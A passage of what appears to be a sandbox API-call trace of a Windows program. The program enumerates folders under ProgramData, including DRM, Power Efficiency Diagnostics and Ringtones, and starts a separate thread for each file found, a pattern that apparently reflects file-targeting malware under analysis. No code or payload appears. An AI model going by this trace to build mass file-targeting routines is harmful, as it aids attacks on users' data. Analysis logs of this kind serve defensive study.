ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.327] wcscmp (_String1="..", _String2=".") returned 1 [0110.327] wcscmp (_String1="..", _String2="..") returned 0 [0110.327] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0110.327] wcscmp (_String1="Cache", _String2=".") returned 1 [0110.328] wcscmp (_String1="Cache", _String2="..") returned 1 [0110.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd9ca90 [0110.328] wcscpy (in: _Dest=0x1cd9ca90, _Source="C:\\ProgramData\\Microsoft\\Windows\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM" [0110.328] wcscat (in: _Dest=0x1cd9ca90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\" [0110.328] wcscat (in: _Dest=0x1cd9ca90, _Source="Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache" [0127.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9ca90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1638 [0127.169] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 0 [0127.169] FindClose (in: hFindFile=0x1cd9c7f0 | out: hFindFile=0x1cd9c7f0) returned 1 [0127.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e950) returned 1 [0127.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd867f0) returned 1 [0127.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea60) returned 1 Thread: id = 1042 os_tid = 0x16f0 [0110.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9710 [0110.329] wcscpy (in: _Dest=0x1ced9710, _Source="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer" [0110.329] wcscat (in: _Dest=0x1ced9710, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\" [0110.329] wcscat (in: _Dest=0x1ced9710, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*" [0110.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20de0 [0110.329] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c6d0 [0110.330] wcscmp (_String1=".", _String2=".") returned 0 [0110.330] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.330] wcscmp (_String1="..", _String2=".") returned 1 [0110.330] wcscmp (_String1="..", _String2="..") returned 0 [0110.330] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0110.330] FindClose (in: hFindFile=0x1cd9c6d0 | out: hFindFile=0x1cd9c6d0) returned 1 [0110.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20de0) returned 1 [0110.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9710) returned 1 [0110.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b10) returned 1 Thread: id = 1043 os_tid = 0x16f4 [0110.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ad50 [0110.334] wcscpy (in: _Dest=0x1cf4ad50, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0110.334] wcscat (in: _Dest=0x1cf4ad50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0110.334] wcscat (in: _Dest=0x1cf4ad50, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*" [0110.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20de0 [0110.334] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c6d0 [0110.337] wcscmp (_String1=".", _String2=".") returned 0 [0110.337] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.337] wcscmp (_String1="..", _String2=".") returned 1 [0110.337] wcscmp (_String1="..", _String2="..") returned 0 [0110.337] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f828940, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x2b0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-ntkl.etl", cAlternateFileName="ENERGY~2.ETL")) returned 1 [0110.337] wcscmp (_String1="energy-ntkl.etl", _String2=".") returned 1 [0110.337] wcscmp (_String1="energy-ntkl.etl", _String2="..") returned 1 [0110.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd642c0 [0110.337] wcscpy (in: _Dest=0x1cd642c0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0110.337] wcscat (in: _Dest=0x1cd642c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0110.337] wcscat (in: _Dest=0x1cd642c0, _Source="energy-ntkl.etl" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl" [0127.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd642c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe5c [0127.172] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9bd2ca0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9bd2ca0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xd9bd2ca0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x7122, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2017-07-12.xml", cAlternateFileName="ENERGY~2.XML")) returned 1 [0127.172] wcscmp (_String1="energy-report-2017-07-12.xml", _String2=".") returned 1 [0127.172] wcscmp (_String1="energy-report-2017-07-12.xml", _String2="..") returned 1 [0127.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x106640 [0127.172] wcscpy (in: _Dest=0x106640, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0127.172] wcscat (in: _Dest=0x106640, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0127.172] wcscat (in: _Dest=0x106640, _Source="energy-report-2017-07-12.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" [0127.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0127.173] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e53620, ftCreationTime.dwHighDateTime=0x1d305f5, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2017-07-26.xml", cAlternateFileName="ENERGY~3.XML")) returned 1 [0127.173] wcscmp (_String1="energy-report-2017-07-26.xml", _String2=".") returned 1 [0127.173] wcscmp (_String1="energy-report-2017-07-26.xml", _String2="..") returned 1 [0127.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x108080 [0127.173] wcscpy (in: _Dest=0x108080, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0127.173] wcscat (in: _Dest=0x108080, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0127.173] wcscat (in: _Dest=0x108080, _Source="energy-report-2017-07-26.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" [0127.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x108080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0127.174] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9b145c0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9b145c0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-latest.xml", cAlternateFileName="ENERGY~1.XML")) returned 1 [0127.174] wcscmp (_String1="energy-report-latest.xml", _String2=".") returned 1 [0127.174] wcscmp (_String1="energy-report-latest.xml", _String2="..") returned 1 [0127.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107c00 [0127.174] wcscpy (in: _Dest=0x107c00, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0127.174] wcscat (in: _Dest=0x107c00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0127.174] wcscat (in: _Dest=0x107c00, _Source="energy-report-latest.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" [0127.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0127.175] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c91380, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9c91380, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x812c9f60, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x41f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report.html", cAlternateFileName="ENERGY~1.HTM")) returned 1 [0127.176] wcscmp (_String1="energy-report.html", _String2=".") returned 1 [0127.176] wcscmp (_String1="energy-report.html", _String2="..") returned 1 [0127.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b862510 [0127.176] wcscpy (in: _Dest=0x1b862510, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0127.176] wcscat (in: _Dest=0x1b862510, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0127.176] wcscat (in: _Dest=0x1b862510, _Source="energy-report.html" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" [0127.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd60 [0127.177] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f8c0ec0, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-trace.etl", cAlternateFileName="ENERGY~1.ETL")) returned 1 [0127.177] wcscmp (_String1="energy-trace.etl", _String2=".") returned 1 [0127.177] wcscmp (_String1="energy-trace.etl", _String2="..") returned 1 [0127.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b8620f0 [0127.177] wcscpy (in: _Dest=0x1b8620f0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0127.177] wcscat (in: _Dest=0x1b8620f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0127.177] wcscat (in: _Dest=0x1b8620f0, _Source="energy-trace.etl" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl" [0127.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8620f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0127.179] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f8c0ec0, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-trace.etl", cAlternateFileName="ENERGY~1.ETL")) returned 0 [0127.179] FindClose (in: hFindFile=0x1cd9c6d0 | out: hFindFile=0x1cd9c6d0) returned 1 [0127.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20de0) returned 1 [0127.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ad50) returned 1 [0127.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5340) returned 1 Thread: id = 1044 os_tid = 0x16f8 [0110.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1b10 [0110.339] wcscpy (in: _Dest=0x1b7c1b10, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0110.339] wcscat (in: _Dest=0x1b7c1b10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0110.339] wcscat (in: _Dest=0x1b7c1b10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*" [0110.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0110.339] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cd30 [0110.342] wcscmp (_String1=".", _String2=".") returned 0 [0110.342] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.342] wcscmp (_String1="..", _String2=".") returned 1 [0110.342] wcscmp (_String1="..", _String2="..") returned 0 [0110.342] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x264, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.342] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0110.342] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0110.342] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x31469, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 01.wma", cAlternateFileName="RINGTO~3.WMA")) returned 1 [0110.342] wcscmp (_String1="Ringtone 01.wma", _String2=".") returned 1 [0110.342] wcscmp (_String1="Ringtone 01.wma", _String2="..") returned 1 [0110.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b869cc0 [0110.342] wcscpy (in: _Dest=0x1b869cc0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0110.342] wcscat (in: _Dest=0x1b869cc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0110.342] wcscat (in: _Dest=0x1b869cc0, _Source="Ringtone 01.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" [0152.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b869cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1490 [0152.404] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 02.wma", cAlternateFileName="RI5404~1.WMA")) returned 1 [0152.404] wcscmp (_String1="Ringtone 02.wma", _String2=".") returned 1 [0152.404] wcscmp (_String1="Ringtone 02.wma", _String2="..") returned 1 [0152.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79d6f0 [0152.404] wcscpy (in: _Dest=0x1b79d6f0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0152.404] wcscat (in: _Dest=0x1b79d6f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0152.404] wcscat (in: _Dest=0x1b79d6f0, _Source="Ringtone 02.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" [0152.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79d6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1724 [0152.405] FindNextFileW (in: hFindFile=0x1cd9cd30, 